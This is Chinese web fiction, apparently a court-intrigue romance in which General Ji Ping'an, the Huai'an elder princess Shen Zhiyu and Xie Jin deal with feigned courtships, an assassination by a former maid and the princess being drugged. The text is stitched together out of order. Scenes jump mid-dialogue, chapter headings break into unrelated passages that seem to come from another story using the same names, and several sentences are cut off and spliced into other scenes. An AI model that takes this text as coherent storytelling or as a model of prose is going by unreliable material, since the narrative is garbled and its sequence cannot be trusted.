沈之虞点点头,随口道:“这些你们搭便是,不必问我。” 一旦起了话头,接下来的话便好开口许多。兰苕轻叹一声,笑道:“奴婢倒不知如何说了,不知是该恭喜殿下将话说开,自此脱离苦海,还是劝殿下说话莫太莽撞。方才在殿上,听殿下道出‘如若再执意如此,便死生不复相见’之时,奴婢着实出了一声冷汗。” 沈之虞不吭声,片刻后转过身,持过兰苕的手,轻轻拍了拍。 她道:“应祝我脱离苦海。”风雪未停,声色渐晚。 沈之虞在亭子里坐了半个时辰,又回内室赏了半个时辰画,实在坐不住,招来侍子问:“她还没走?” 侍子摇摇头。 “什么毛病,好好的御安房不待。”沈之虞蹙起了眉。 侍子原是静静候着的,此时忽然上前一步,低声道:“奴婢听闻皇上从席间回御安房后面色不虞,纯嫔恰在此时进殿,送了一锅红豆粥来,却不知为何惹得龙颜大怒。皇上这才出宫的。” “这不关纯嫔的事,不论谁这时来都会触霉头。”沈之虞沉下眉眼,“这事因我而起,纯嫔回去后指不定怎么伤心。你着人开库房,挑些上等钗环首饰,假借皇上的名义送去安抚。” 侍子没明白:“殿下为何说此事因殿下而起?” 沈之虞接过另一心腹侍子递来的茶,垂眸盯着盏内颜色清浅的水雾:“我邀季平安同我演了一场戏,举止亲昵,只为让皇上看着。” 两侍子对视一眼,没敢再接话。 沈之虞垂眸看着富春山居图,抬手拂过带有皇上名字的玺印,忽然嗤笑了一下。 她低声开口,不知是在说与谁听:“你说她何故如此呢?” 室内霎时落针可闻。 半晌,一侍子小心翼翼宽慰道:“皇上许是疼惜殿下,爱护自家妹妹,怕殿下被人拐骗了去。” “爱护我?”沈之虞冷哼,“爱护我,所以给我下药?” “殿下宽心些,其实那药未必是皇上下的” “她不来没事,她一来我便中招,你莫再替她开脱。”沈之虞面无表情,“说起来,季将军到底是被我连累了。我今儿必得找沈初说清楚。” 沈之虞口里的季将军正在家里瘫着发霉。 过够了军营里人挤人的日子,此刻的她只想安安静静与何娘围炉闲话,于是称病推了一切社交,白日间赏梅饮酒,夜里观月品茶。 她正扛着六十六斤的大刀耍得虎虎生风,忽听得门口传来一阵动静,接着人报——“谢将军登门!” 话音落下,只见谢瑾风风火火闯进来,在季平安面前匆忙刹住脚,一叠声嚎道:“佑之救我!” 佑之是季平安的字。 季平安停了大刀,好整以暇地挑眉看去,问:“怎么了?” “明儿是肃亲王妃的生辰宴,肃亲王妃母亲与我阿娘交好,阿娘一定要我去。” “明儿竟是肃亲王妃的生辰宴?怎么我没收到请柬?”季平安问在旁候着的侍子。 侍子恭恭敬敬回道:“收到了的,然您一直称病,所有请帖一概不瞧,拿到后便命我烧了取暖了。” 季平安: 谢瑾笑得险些背过气去。 季平安转向谢瑾,笑道:“让你看笑话了。话说回来,去就去呗,又非大事,如何要我救你呢?” 谢瑾低声说:“你道为何?我四年前在西北某座山头的悬崖边救了个被歹人逼上绝境的姑娘,姑娘千恩万谢,此后对我百般殷勤,含情脉脉,瞧着竟是吃定我的样子。我将其送至驿站后,吩咐人将她好生护送回家,过后我才知,她竟是肃亲王妃妹妹!” “自我回京,她已上门五六回,都被我以有事为由推了回去。今儿这次是再也躲不过了,季将军,帮我一回罢,大恩不言谢,我来世替你当牛做马。” 季平安“啧”了一声:“也不必到这份儿上。说罢,要我如何做?” 谢瑾说:“与我演一出戏,只装咱俩彼此有情,让那姑娘知难而退也便罢了。” 季平安:“又来。” 谢瑾不理解:“?我头一回请你帮这忙,何来‘又’?” 季平安: 她叹了口气,道:“你不拘找谁同你演一场戏也便罢了,偏要找我。此后若传出了咱俩绯闻,岂不可笑?” 谢瑾思及那场景,也起了一身鸡皮疙瘩,搓搓胳膊道:“我会求那姑娘莫将此事宣扬出去的,你便说帮不帮。” 季平安想了一想,说:“那你替我当两辈子牛马。” “我看你也没喝酒呢,这就上脸了?”谢瑾笑着说,“好声好气求你你不听,非得我来硬的是不是?我告诉你,明儿淮安长公主也去的,你若是不答应,我便在她面前参你一本。” 季平安: 怎么又是长公主。 兰苕的眼圈儿红了:“殿下这几年如何过来的,我们都看在眼里。虽说皇上吃穿上待殿下极好,然处处监视殿下,言行上更有冒犯过分之举,倒比吃不饱穿不暖更令人难受。可恨青州这个吃里扒外的,处处跟皇上汇报殿下动向。现如今横竖说开了,青州可还留着么?” 沈之虞转头暼她,须臾,淡漠平直的音调软了一些下去。 “好了,我都不哭,你哭什么?”她碰了碰兰苕的额角,轻声说,“青州也是奉命行事,怨不得她。你同她说一声,让她今儿便回宫罢。” 是啊。十一年了。季平安恍然想。 那年她十一岁,谢瑾二十。 十一年前仲春的某个傍晚,阿娘们遣她去街上买炊饼。途径小巷一座民居,她看见有人坐在门前哭。 那人哭得很奇怪。分明已然是肝肠寸断的样子,却咬着牙不让自己发出声,拼命将袖子往脸上擦。 季平安立在原地,看着夕阳挤近窄窄的墙缝,照在那人顺滑而泛着光的衣摆上,映出了浅黄的斑纹。 季平安想,那人穿得起蚕云锦,她为什么哭呢?自己刚分了一个炊饼给路边的小乞丐,小乞丐笑得比中举的人还开心。 季平安没想明白,但她自小儿行事大方。她蓦地上前一步,递上了一个烤得焦黄酥脆的烧饼,问:“你吃不吃?” 她的动作太快了,后头跟着的侍子没拉住。她们于是眼睁睁看着坐在石阶上的那人抬起脑袋,望了过来。 四目相撞,一时谁都没出声。 季平安又把烧饼往前送了送:“你吃不吃?半刻钟前刚出炉的,外酥里嫩,油皮焦香,我还没舍得吃呢。” 那人抹了一把脸,没说旁的话,只是伸手接过了烧饼,道了声谢。 嗓子哑得很,被她梗着脖子清了两下。 侍子在身后轻声提醒:“安姐儿,该去了。再不归家,夫人们都该急了。” 不想惹阿娘们着急的季平安颇有些遗憾,因为她仍旧不知道那人为什么哭。她小大人似的叹了一口气,往旁边走了两步,正要背手离开,忽然听见石阶上那人开了腔。 “可否同你们小主子再聊两句?”她从衣袖里掏出块腰牌,递与那俩侍子瞧,“你们莫若先遣一人回去复命,就说路遇校尉谢瑾,邀小主子讲上几句闲话。” 一侍子领命去了。 季平安好奇地盯着谢瑾泪痕斑驳的脸看,措了会儿词,忽然问:“校尉眼下不再哭了么?” “嗯?嗯。” “那校尉方才为什么哭呢?” 谢瑾坐在夕阳里,垂下脑袋,看着沾上了些微青泥的布鞋,想了想,哂笑了一下:“因为我没参透。” “什么是‘没参透’?” “生老病死是人之常情,我却为此难过了大半个春秋。也许过世之人已转世投胎,早已忘了自己生前姓甚名谁,但我仍旧耿耿于怀。我去寻仙问道,道长说我慧根不足,没参透。” 季平安低头踢了踢路上的青石子,嘟囔说:“我也是。” “嗯?” “我养的兔子死了三个月,我还是每天都在为它伤心。所以我也没参透么?” 谢瑾往旁边挪了一点,季平安拍拍屁股朝石阶上坐。 谢瑾转头看她:“不,你慧根比我足。也许你明天就不伤心了。” “我阿娘也这么说。”季平安道,“她说,也许我今夜会梦到兔子,兔子同我说她转世后过得很好,我听了便不再难过。” “嗯。” “所以校尉。”季平安扬起脑袋,“也许你今夜也会梦到那个令你伤心的人,她同你说了好多话,你便没那么悲伤。” “承你吉言。不过我其实日日梦见她。” “她是谁?” “我已逝的夫人。” 思绪归拢,季平安揽上了谢瑾的肩,笑着说:“咱俩因你夫人相识,这事既牵扯到了嫂子曾经的贴身侍子,我定不能坐视不理。” 谢瑾搓了搓胳膊,绷着脸道:“你这话也够煽情的。” 季平安挑起了眉:“这还煽情?若是我说‘相识十一年已为亲人,不求同年同月同日生,但求同年同月同日死’,你岂不是要背过气去。” 谢瑾想了一想:“还真是。” 季平安收了笑,正色道:“话说回来,纯嫔诞有一女,正是七帝姬。七帝姬又与二帝姬走得近。” “正是了,若要查起来,定是牵扯颇深。”谢瑾叹了一口气,“先查着罢,查到哪儿算哪儿。” 季平安满头黑线地从椅子上站起来,跑去将军府西北角挖雪,边挖边想,这都是什么事??! 大约是昨儿没有陪何娘一块儿用晚膳,而是非得跑去街上瞎逛的报应。 只愿长公主口中的“我今儿便同那人清算清楚”是真的,“不再为此事麻烦将军”也是真的。 她委实不想再同皇室之人扯上任何瓜葛了! “阿璃,她一直知道啊。” 她能够不眨眼地杀掉猎物,但人却不一样,对方和她差不了多少岁,身上留着的是和她同样温热的血。 在当时那种不是你死就是我活的情况下,季平安能够什么都不想,专心地解决掉对方。 但当危险褪去,刚才杀掉人的每个瞬间都格外清晰,占据了她的大脑。 沈之虞将热水倒在旁边的布巾上,然后轻轻地盖在了季平安的右手上。 她开口,语气里似乎还能感觉到若有若无地柔意,分不清是不是错觉。 沈之虞道:“季平安,好好睡一觉吧。” 第 46 章 第 46 章 这些天因为担心刺客的事情,季平安的神经一直都很紧张,哪怕是休息的时候也不敢放松警惕。 更不用说刚才和黑衣人缠斗,和命悬一线没有什么区别。 她脑海里面的那根弦一直都绷的很紧,一呼一吸都需要用上全部的注意力。 如今黑衣人被彻底解决,沈之虞的属下也过来了,季平安骤然放松下来,疲倦便全部涌了上来。 沈之虞原本清冷的声音放低些,像是也染上了烛光暖黄的温度,带着柔和的错觉。 将军府。随从正哀怨地在一旁的铺子里喝肉汤。 她从没跟过季小将军,摸不准这位的脾性。毕竟中文实在很博大精深,“回头再说”的意思一般是“再也不提”,“改天请客”的意思是“我就客套客套”。 那么“你留滞此处歇歇脚,容我一人逛逛”的意思难不成是“我溜了,你滚吧”? 随从想半天也没头绪,遂咂咂嘴,扬手招呼小二:“再上一碗肉汤!” 肉汤冒着热气,里头滚着四五只半个拳头大的丸子,颜色鲜嫩,肉质紧实,一口下去能鲜掉舌头。 随从稀里哗啦喝到一半,身边蓦地起了一阵风,接着,桌子上多了一把入鞘的剑。 谢瑾蹙眉看着躺在地砖上、脸色发青的那具尸体,轻轻“啊”了一声:“原来是她。” “是谁?”季平安问。 谢瑾说:“我亡妻曾经的贴身侍子,秋雁。” 她缓声道:“我夫人离世后,我原是想放服侍她的那一批侍子出去的,然秋雁倒不愿走。我夫人同宫内的那位纯嫔娘娘原是姊妹,秋雁便被纯嫔接了去,大约几经辗转又从纯嫔宫中出来,被内务府挑中,赏给了你。” “怪道有谢府的腰牌。”季平安点点头。季平安学武正是因为薛姨娘。 她六岁开蒙,跟着曾教过季娘的老夫子念“之乎者也”。她聪敏过人,老夫子总对季娘说:“我看这孩子迟早越过你去。” 那时的季娘还是礼部主事。她揽着季平安的肩,摸摸她毛茸茸的脑袋,笑道:“全看这孩子今后的造化了。” 季娘名季寒潭。 季平安就这么跟着老夫子学到了十二岁。 十二岁那年,季寒潭迎了一位新姨娘进门。 三妻四妾在南国是常事。婚前,双方便要商定好今后的角色:是嫁方,还是娶方。 婚后嫁方跟着娶方回家,娶方要给嫁方家中一笔不菲的聘礼。 此后娶方主外,嫁方主内,娶方若有想法与条件可以再娶,只是需得征询嫁方的意见。 亦有不愿分嫁方娶方的,约定了一生一世一双人,婚后共同承担经济压力,便称为“平婚”。 季寒潭与何娘并非平婚。何娘家境不好,季寒潭娶她时予了一百两银子并六十六匹布、六十六匹罗,并许了何家一生的荣华。 生孩子的活一般由嫁方承担。然季寒潭心疼何娘体弱,便一己揽了去,怀胎十月诞下季平安,在礼部挂了小半年的假。 因此若说季寒潭对何夫人不好,那是万万不能的。但若说好吧季寒潭亦已有了五房小妾。 薛姨娘便是第六房。 薛姨娘是季寒潭跟随皇上北上巡游时带回来的外族人。游牧人性子都烈,红缨枪耍得虎虎生风,眼角眉梢都是原野上恣意自由的味道。 季平安问薛姨娘草原长什么样,薛姨娘眨眨眼,爽朗道:“我同寒潭说声,带你去瞧瞧。” 这一瞧,季平安的心便扑在了马背上,再也回不来了。 思绪归笼,季平安瞧着面前那应声而开的大铁门,顿觉有些头疼。 不为别的,只是 记忆里,季寒潭的姨娘们都太能闹腾了! 自打她记事起,季宅上空总是成日间萦绕着此消彼长的笑声。大姨娘酷爱爬树,二姨娘迷上了学戏,三姨娘要把屋顶掀了以便夜观天象,四姨娘大冬天要去结冰的池子里捞鲤鱼 更别提每回见到自己,姨娘们都像是见着了长毛三花猫,非得亮着眼扑过来,将自己揉面团似的揉搓一顿才肯罢休。 何娘文静,不同她们闹,只是裹着毯子笑盈盈地坐在葡萄架下,同新进门的、还未被“带坏”的姨娘有一搭没一搭地说着闲话。 门口站着的门童很眼生,门童对于围着口巾的季小将军也很眼生。她大约很少见气质如此出众、登季府也不自报姓名的人,一时有些呆,片刻后才问: “您哪位?来季府所为何事?” 季平安装模作样咳了一声:“这原是季府么?我走岔了。” “你就这是扯谎,季府是你能胡来的地儿么?”门童瞪她一眼,蓦地伸出手,把她的口巾摘掉了,“还带着口巾,生怕我们认出不是,小季大人??!!!” 季平安:“非也,你认错人了。” “我这双眼从未看岔过!您的画像城南城北都卖呢,我早瞧过一万遍了!”门童只以为看见了活龙,以能叫裂玻璃窗的音量嚎了一嗓子,“小季大人!是小季大人!小季大人亲自登门了!” 这一嗓子跟捅了马蜂窝似的,周遭霎时排山倒海般围过来一堆人。 季平安: 好消息,最能闹腾的姨娘似乎不在其列。 坏消息,又多了好些不认识的。而性格这玩意儿近朱者赤近墨者黑。 季平安落荒而逃。 她人生过去的二十二年从没这么狼狈过。 直到仓惶解了马绳,急急忙忙跨上马背,逃荒似的遁到一半,她才恍然想起来—— 某随从被她落在原地有大半个时辰了。 “只是怪了”谢瑾抱着胳膊沉思,“她为何要来刺杀你?还满口说什么‘谢瑾指使我’。” 季平安猜测道:“约莫命脉被幕后之人捏住了,比如拿她家人之命相要挟?” “这幕后之人也忒莫名其妙,派这么一个手无缚鸡之力的人来,刺杀是万万不可能成的,到底图什么呢?”谢瑾只觉一头雾水,“难不成只是想挑拨我俩关系?然这招数也过于幼稚,你指定不能信。” 季平安亦觉得有些过于荒唐。无怪乎季平安没认出那姑娘的身份。 虽然那一身打扮不俗,可到底并不算十分招摇,头上更是只有一只白玉簪,并没有更多其余的装饰。 加之长公主日常出行应是一堆人侍奉左右,实在不应该出现落单且落魄的景况。 季平安到嘴边的“好”话音一转,变成了“改日罢,今儿家中有事,须得速回”。 说着,她在马背上拱拱手,又补了一句:“下官原不知殿下为长公主,此前之事多有得罪,望殿下海涵。” 长公主已然下了马,正往台阶上走,听闻季平安的话,步子一顿,又转了回来。 她缓步走到马匹身边,摇摇头,银辉下的神色淡淡,情绪似有若无:“将军实在不必如此多礼。说来,今日之事我得多谢将军。万望将军将此事守口如瓶。” 守口如瓶么? 季平安微微眯起眼,撞上马下那人清冷的目光。 守口如瓶,倒是正合我意。她想。 她遂瞥了一眼那人眼尾的痣,笑道:“还请殿下放心,今日事你知我知,再无第三人知晓。殿下若是碰上什么麻烦事儿,不好亲自动手的,也可差人知会我一声儿。夜深了,露寒霜重的,殿下快请回罢。若是冻出什么好歹来,倒是下官的不是了。” 长公主微微颔首,转身而去。 季平安看着她施施然上台阶,走至大门前叩门。 门口一阵骚动,离得远,季平安并听不真切。有丫鬟急急跑出来,慌里慌张地将长公主往里接。 而后大门掩上,再多的画面她也看不着了。 季平安夜色下的眸色渐深。 说起来,长公主中药这一事就很荒唐——南安国一人之下万人之上的主儿,谁有这个胆子给人下套? 若是想害人,行刺一下也就罢了,何故干下药这等费力不讨好,且未必能派上什么用场的事儿呢? 再回想长公主先时说的——“此刻我说不得太多,唯有告诉你有人要加害于我” 季平安摇摇头,打算回去问问季寒潭。 她抬手唤人进来,命人将秋雁的尸体收敛好,转身倚上了桌台,问:“你待如何行事?” “先往下查着罢。”谢瑾道,“只怕此事终是不了了之。” 季平安沉声说:“怎么查?往宫中查?” “我稍后递信儿与纯嫔。”谢瑾拍拍季平安的肩,“你也别太操心了,这件事大约与你无关,刺杀你只是个幌子。” 季平安定定瞅她一阵,眯了眯眼,忽然笑着挂上了她的肩: “我问你,枝余,咱们认识多少年岁?” 枝余是谢瑾的字。 谢瑾装模作样思索片刻,沉吟道:“不记得。” “你放屁。”季平安笑骂着给了她一拳,“别装,我不是要煽情,你好生讲。” 谢瑾拍着胸脯,大松一口气:“那敢情好,我谢瑾天不怕地不怕,就怕人煽情。” “所以多少年岁?” “容我想想若是认真算起来,大约十一年?” 这样连对方身边的暗卫都比不上,到时候连和沈之虞见个面都费劲。 沈之虞:“那是为什么?” “过几天再和你说吧。”季平安卖了个关子,然后才道:“我回村看下岁岁,这间房还续着,你这几天直接住就行。” 说完,她也吃完了早饭,准备离开。 沈之虞在她打开门时道:“我三日后离开。” 若是到时候季平安没有使用这个要求,她也不会再等对方。 季平安笑了下,“知道啦。” 第 47 章 第 47 章 季平安将门关上后,沈之虞出声道:“虞柏。” 原本守在暗处的虞柏立刻现身,“殿下。” 沈之虞回想刚才她和季平安的对话,道:“派一个人跟过去,再找个郎中过来。” 暗卫的第一要义便是听话,哪怕担心沈之虞受伤,虞柏也没有多问一句话。 她立刻派人跟上了季平安,并且以最快的速度请了个郎中过来。 东和县的药堂本就不多,这次请来的郎中刚好是上次她头痛时见过的郎中。 只是过去有一段时间了,郎中没有认出她来,将药箱放在桌上后问道:“姑娘的身体有哪里不适?” 屋外的太阳不甚暖,没能烤化一地积雪。不怕冷的麻雀骑着雪花从枝头蹦下来,埋头寻找吃食。 刚走出殿,季平安便将胳膊从谢瑾脖子上取下来,顺手锤了一下她的肩:“多谢。” “小事。”谢瑾揉了揉被锤的地儿,“嘶”了一声,“你劲儿可真够大的。” 说罢,她又乜斜着眼往季平安脸上瞧,笑着问:“你这就不演了?” “不演了。”季平安伸了个懒腰,“意思意思得了,席间那些人精个个儿门清。” 两人的侍子在她俩身后亦步亦趋跟着,小心地捧着皇上亲赏的锦盒,轻轻说着小话。 一个问:“姐姐今儿多大?” 另一个答:“十六。你呢?” 随从吓了一跳,端着碗抬头,见来人是季平安。 她咂摸咂摸嘴,掏出帕子来擦油,笑道:“小季大人来得不声不响的,倒唬属下一惊。” 季平安解了大氅,撩袍在长凳上一坐,冲随从抬了一下脑袋:“你尽可去了。” “去哪儿?” “将军府。” “那您呢?” “我在这儿坐会儿。” 随从劝道:“您也一道儿回罢,何夫人见我一人回来而没见您,该急了。” “急不了,八年都没见了,还差这一会儿?” 随从没了话,瞪了会儿眼,干巴巴道:“怕您出什么意外” “行了。”季平安摆摆手,“若真有人要害我,你在这儿只会更碍事,倒是我还要分神护着你。” 随从: 被断言为“碍事”的随从当机立断走了。 季平安替人结了帐,在桌子旁空坐了会儿,倒是没什么吃喝的欲望——主要是一摘口巾便会引人注目——索性提剑披衣,出门上马,一路往南行去。 天色已然有些沉了,远山的轮廓不甚清明,隐在天边那一片晦暗里。华灯初上,城南街道亮起了橙黄的灯笼,约是快至年节,也不打算省蜡烛,火烧得极旺,看着挺喜庆。 季平安一路晃荡,瞅准了这条街尽头那三层楼高的饭馆,打算进去要个包间,安安静静寻口吃的。 街边还有几个岔路口,连着别的小巷。却不想她驾马没行几步,小巷里却忽然闪出来一个影子,冒冒失失,险些撞她的马上。 马和影子擦肩而过,一同叫出了声。 季平安一惊,赶忙住了马,垂头细看。 是个姑娘。 “我十八。”两人出了客栈,季平安牵出马。她先把姑娘送上马背,而后一个闪身跨坐到了姑娘身后。 她并不急着扯缰绳,而是将大氅撑开,问身前那人:“进来么?马背上冷。” 大氅内面的白狐毛迎风轻晃。 姑娘犹豫片刻,摇摇头。 “真不进?”季平安笑道,“这大氅宽松,多裹一个你绰绰有余。” 姑娘仍旧摇头。 “不骗你,马上真的风大。”季平安遂直接把大氅解了,不由分说地将它披上了姑娘的脊背,“那你穿罢,你汗应当还未干透,怕你着凉。” 姑娘瞪大眼,还想挣扎客气两下,却被季平安拍了拍后脑勺。 “阁下莫动。”季平安在姑娘身后轻声道,“出发了,当心从马背上摔下去。” 怀里的姑娘不动了。 季平安踩着地上的影子,顺着姑娘指的路,悠悠往东南晃去。 路上实在安静,许多道儿上已然没人了,倒是显出些安闲恣意的氛围来。 季平安在马上跑了会儿,忽然开口问:“头上的簪子是羊脂玉的?” 姑娘在前头应了一声:“将军竟认得这些。” 季平安笑起来了:“你这便是刻板印象。文生里也有粗人,武将里也有细致的。我倒不是说我心细,只是从小儿阿娘倒也送我许多玉,有做成簪子的,有平安扣,也有各式玉佩,我现如今身上还挂着一个平安符呢。” “季尚安送的么?” “她倒不送,是我另一位阿娘送。说起来,你对官场倒也了解些,知道季尚安是我阿娘。” “略知晓一二。” 季平安又道:“我才回京,人与路都不熟。说起来,我也曾以为你来者不善。” “那为何又肯帮我呢?” “你的眼底很澄澈,实在没有杀气。”季平安轻声道,“像我们战场上摸爬滚打惯的,对面有没有敌意,一瞧便知。再者,若非走投无路,你也定不会求我相帮。顺手的事儿,帮便帮了。” “不会看走眼么?” “就算看走眼,也能在对面发动攻势的瞬间一举拿下。” “将军果然胆识过人。” “谬赞。接下来往哪儿走?” “下一个岔路口往右。” “快到了么?” “嗯。” 果然快到了。 往右拐,再行数十步,怀里的姑娘转过脑袋,轻轻颔首,道: “此便是我府上了。季将军可要进来喝碗茶么?” 季平安确实口渴,正要满口应承下来,一抬头,却看见了大门上方挂着的金灿灿的牌匾。 牌匾规规整整,镶着各种玛瑙珊瑚,上安几个大字——长公 不是,长公主府????? 拜几小时前那“侍子”的刺杀所赐,此时此刻的季平安并不愿与朝堂或内宫的人扯上任何瓜葛。 当朝两位长公主,一位据说下江南游玩去了,那么眼前这位是 皇上的嫡亲妹妹,淮安长公主。 “那该是我唤你姐姐。” “咱们主子那么要好,咱们也不必生分,直接‘你’‘我’相称就完了。” “这怎么行呢?这坏了规矩。” “什么规矩不规矩的,左右都是一家人。诶,我怎么感觉后头有人?” 俩人一同刹住脚,又一同扭头看。 还真有人。 来人披着月白羽纱的斗篷,走路不疾不徐,不声不响,顺手接了一片飘摇而下的白梅瓣。 侍子赶忙追上主子们,迅速而低声道:“长公主殿下在身后。” 于是刹住脚的从两人变成了四人。 谢瑾拽着季平安转过身,遥遥冲长公主行了一礼。 季平安被袖子盖住的手无意识攥成了拳。 长公主走路步频轻缓,速度却不慢,呼吸间已然走至二人身前。 飘然而至的,还有一股极淡的清气。 令季平安想到了三年前在西北途径的雪松林。 季平安扪心自问,此时此刻其实并不十分愿意同她打交道。 虽说那场意外已被她俩默契地封锁进尘埃,可她看着长公主眼尾的浅痣,总能思及昨日那雪夜里的客栈厢房。 急促而难抑的呼吸如在耳畔。 然而即便再不情愿,礼数仍得做足。 于是季平安作了一揖,恭敬感与分寸感拿捏得恰到好处:“殿下万安。多谢殿下方才帮着解围。” 长公主双手交叠,直腰立于宫道上,神色淡淡:“解什么围?” 季平安:? 难不成还能是自己自作多情? 谢瑾暗中拽了下季平安的大衣,上前一步,朗声笑道:“不瞒您说,季将军她其实尚无成家之意。殿下道季将军‘面色不好’,使得圣上没有再往下与她牵线搭桥,倒是无形中帮衬了一把。” 长公主轻轻颔首:“是么?我当时确是看季将军脸色不好,顺口一提,不必言谢。” 谢瑾还要再客套几句,话音未出便被打断。长公主蓦地抬手拢了拢斗篷,而后转向季平安,淡声问:“将军可否随我来?我有事问将军。” 季平安沉默一阵,道:“殿下请带路。” 谢瑾:?我就这么被抛下了? 谢瑾没看懂两人突如其来而略微莫名其妙的行为,站在原地,眼瞅着季平安被带去了稍远处的梅花树下。 树枝浓密,季平安的身子被遮住了半边,而长公主则整个人都被卷了进去。 离得远,那边的声音一丝一毫也透不过来。而待半柱香后,两人终于结束交谈,从树枝下钻出来之时,谢瑾却眼尖地瞅见了她那好友的脸似乎有些红? 谢瑾:?? 她怀疑自己看错了,猛地眨眨眼,再度看去时,却见季平安神色如常,同长公主抱拳告别。 所以果然是自己的错觉。 谢瑾快走几步,揽上了季平安的肩,好奇地问:“她寻你何事?” “无大事。”季平安摸了摸鼻子,“她说我的袍子看着不错,穿着应当挺舒服,问我能否送她一套。” 谢瑾:??? 季平安到的时候,岁岁正拿着树枝在地上教满满写字,抬头看到她后,立刻放下了手里的树枝朝她跑过来,“阿姐!” 季平安摸了摸她的头:“想我了没有?” 她先是在县城里面的客栈待了几天,然后又用了三天专门做水泥,算下来也有六七天没有见到岁岁了。 岁岁贴在她身边,仰头看着她轻声地说了句:“想阿姐。” 从前的她,更加希望阿姐能多在县城里,这样就不会醉醺醺地回家来,说不定自己还要挨打。 现在却不同,没有见到季平安的这几天,她是真的很想很想自己的阿姐。 季平安笑了下:“带你去见阿九姐姐。” 第 48 章 第 48 章 季平安和岁岁说话的时候,屋子里面的芸娘也听到了她们的声音。 她出来见到季平安没有什么悲伤难过的神情,也放下了心,问道:“阿九也回来了?” “阿九还在县城里面。”季平安和她道:“阿九这次进县城找到了她的家里人,我准备带岁岁一起过去。” 这次和沈之虞回京城,再回来也不知道是什么事情,所以她这次也算是告别。 芸娘闻言愣了一下,才道:“这么突然?” 季平安笑了下:“确实有些突然,不过因为一些事情,只能这几天走了。” 芸娘:“那你们记得多收拾些东西,路上吃得穿得用得都多带一些。” 之前觉得季平安是无赖,但接触这几个月后,芸娘也早就改变了这一想法。 因此听到这么突然的消息,她竟然还觉得有些不舍。 季平安承了她的好意道:“我知道了,到时候多带些过去。” 说完,她又低头看向自己旁边的岁岁:“要不要和满满说句再见?” 小孩子的友谊还是值得珍惜的。 岁岁刚才也听到了季平安的话,虽然舍不得自己的玩伴,但还是更想和阿姐、阿九待在一起。 她稚声稚气地和满满道别:“我要和阿姐走啦,不过我会一直记得你的,你是我最好的朋友。” 满满也拉了拉她的手:“我也会的!” 室内歌舞声停,满座不闻喧哗之声,所有人皆默契地闭了嘴,将目光挪至大厅正中长身玉立之人身上。 须臾,有将领开始交头接耳。坐谢瑾身后的那位碰了碰谢瑾的肩,压着嗓子问:“季将军芳龄几何,你可知晓?” 谢瑾礼貌性地笑笑,朝她摇摇头。 这话旁人没听着,然季平安耳朵尖,一听一个准。 这关年纪什么事?二十多岁就得成家么?她想。 她又想,自己其实并非排斥婚姻,只是无拘无束惯了,懒得同人磨合。 季平安于是朝上首拱手道:“臣倒无心上人,若得陛下赐婚定是偌大恩典。只是臣尚想多在家孝敬孝敬双亲。” 这话出口的时候,她的余光瞥见了一道存在感极强的视线—— 淮安长公主正面无表情地盯着她看。 皇上毫无所查,乐呵呵笑着说:“也是,你八年未归,季尚安自然想你想得紧。只是我看今儿淮安也在场,倘或你俩凑一对儿,倒是一桩美事。” 美事?怕不是美逝。 皇上究竟是真心的,还是假意说这话来试探自己同长公主的关系? 难不成昨夜的事儿被第三人知晓了么? 季平安被热气熏得并不十分清明的脑子里闪过了无数思绪,蓦地抬起头,飞速撞了一下那道冷淡的目光。 长公主神色清浅,面不改色地从她身上挪开视线,继而转向皇上,漠然道:“皇姐,臣妹尚没有成家之意,还想多陪陪您。” 这一通话听起来没有任何情绪起伏,淡漠得像是随口扯出来的幌子,但皇上就是听得很高兴。 她端着白玉酒盏,遥遥冲长公主举了举杯:“难得淮安有这份心。” 所以这一篇章算是翻过去了么? 季平安不动声色地长舒一口气,拱手说:“陛下怜爱体恤幼妹,臣等感动不已。” 却不料皇上并未放下酒杯,话音一转,冲着席间笑道:“众位爱卿族中可有适龄姑娘?便是不以成家为由,介绍与季将军认识认识也好。” 季平安:?姑娘的身子猛地抖了一下,晃悠悠扶上了墙。 天色已然完全黯淡了,街边的灯光轻轻巧巧晃过来,给姑娘整个人勾了个金边。屋檐上的积雪堆了半尺,那姑娘却没罩袍子,只穿了件天青羽缎袄,垂着脑袋,看不出神色。 季平安不动声色地蹙了一下眉。 姑娘头上的白玉簪品相极佳,那天青的袄子掺了金线,绣工不俗,想必它的主人并非遇上了什么经济上的麻烦。 季平安心心念念喝上一口热汤,遂直截了当地问:“阁下意欲何为?” 姑娘不吭气。 此刻两人一马相立,四周寂静无声,夜风从街南往街北淌,空气却有些凝滞。 可能是冻的,也可能是因为两人分明素不相识,却一言不发地胶着。 甚至于能听见对面的呼吸声。 季平安在这片毫无来由而显得过分莫名其妙的沉寂里立了好一阵,终于有些不耐了,拉了一下缰绳,正准备往旁边绕过去,手腕却忽然一顿。 是啊,风声分明嘈嘈,为什么自己还能听见对面的呼吸? 她长舒一口气,低下头,仔细端详起了姑娘的脸。 姑娘的呼吸愈发急促了,天青色袄子上的毛随之一张一翕。 她的眸色被灯光映得极浅,眼尾眉梢晕着绯红,但大约是因着神色不甚明朗,与檐上未化开的积雪异曲同工,以至于并未显出清晰可辨的情.欲。 于是待她开口的时候,季平安着实有些诧异—— 姑娘猛地上前一步,几乎要扑到马上。她说:“季将军,帮我。” 令季平安诧异的,并非自己的身份被轻而易举地认出来,而是姑娘的声音。 声调平直,尾音却有些飘。是沉着的,低哑的,乍一听不含情愫,回想时却能轻而易举地穿过表象,探到底下藏着的东西。 季平安的第一反应是:这是个“美人计”的陷阱。 素不相识、不知从哪儿冒出来的姑娘在第一时间认出了自己的身份,可天色明明暗得几乎叫人看不清事物轮廓,况且自己还围着口巾。 她还哑着嗓子说帮她。 帮她什么,季平安用脚趾头想想都能明白。 若是往日,她还愿意陪着幕后之人兜上几圈,然而今儿的晚饭尚没有着落,实在有些饥肠辘辘。 于是她整了整衣领,忽然在马背上往前倾过去。 距离被陡然拉近,暖色的烛光把她们俩一同罩了进去。 季平安帽檐下的眼睛眯了一瞬,须臾,轻轻哼笑了一声。 她淡淡道:“我没兴趣。” 她一错不错地盯着姑娘的脸,不放过一丝不合常理的表情。接着她便看见,姑娘抿着的唇瓣微微松开,像是即将说些什么。 季平安等了片刻没等来下一句话,剩余不多的耐心终于告罄。她蓦地直起身,将目光投向远处,攥着缰绳的手就要往后拉,耳边却又传来了那淡漠而微哑的声音—— “此等状况绝非我本意,只是我不慎中招。事成之后,你随意开价,我都可予。” “季将军,帮我。” 不慎中招? 她中了媚药? 季平安不急着走了,重新将目光移回姑娘脸上。 那张脸愈发潮红,眼尾浓墨重彩得像是能滴出血。 若是美人计,这姑娘的演技着实逼真了些。可如若并非美人计,而是她的确碰上了难处 